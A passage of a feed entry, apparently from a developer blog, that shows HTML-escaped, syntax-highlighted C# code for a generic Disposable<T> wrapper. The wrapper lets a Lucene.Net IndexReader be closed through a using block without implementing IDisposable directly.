class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IDisposable&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Disposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Disposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;entity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Action&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;disposeAction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Entity&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;entity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;DisposeAction&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;disposeAction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;T&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Entity&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Action&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DisposeAction&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Dispose&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;default&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Action&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DisposeAction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;DisposeAction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Entity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;DisposableExtensions&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Disposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;AsDisposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;this&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;T&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;entity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Action&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;disposeAction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Disposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;entity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;disposeAction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;LuceneDisposableExample&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Example&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pathToIndex&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;@&amp;#34;C:\lucene\example\index&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;disposableReader&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IndexReader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pathToIndex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AsDisposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;reader&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;disposableReader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Entity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;43&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;44&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;c1&#34;&gt;// .. whatever you want here... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;45&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;46&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;47&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;48&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is available as a Gist here: &lt;a href=&#34;https://gist.github.com/thoward/673545&#34;&gt;https://gist.github.com/thoward/673545&lt;/a&gt;&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;The topic of implementing &lt;code&gt;IDisposable&lt;/code&gt; within Lucene.Net comes up a lot. While I&#39;m all for it, there are reasons why it hasn&#39;t be done yet.&lt;/p&gt;&#xA;&lt;p&gt;This is an alternative technique that allows using &lt;code&gt;Dispose&lt;/code&gt; without implementing &lt;code&gt;IDisposable&lt;/code&gt; directly.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;This example uses a wrapper class, which does implement &lt;code&gt;IDisposable&lt;/code&gt;, and allows the user to inject a custom action to happen when &lt;code&gt;Dispose&lt;/code&gt; is called. It&#39;s a bit more fragile than directly implementing &lt;code&gt;IDisposable&lt;/code&gt; but can be effective if done correctly.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Extensions&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Disposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IDisposable&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Disposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Disposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;entity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Action&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;disposeAction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Entity&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;entity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;DisposeAction&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;disposeAction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;T&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Entity&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Action&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DisposeAction&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Dispose&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;default&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Action&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DisposeAction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;DisposeAction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Entity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 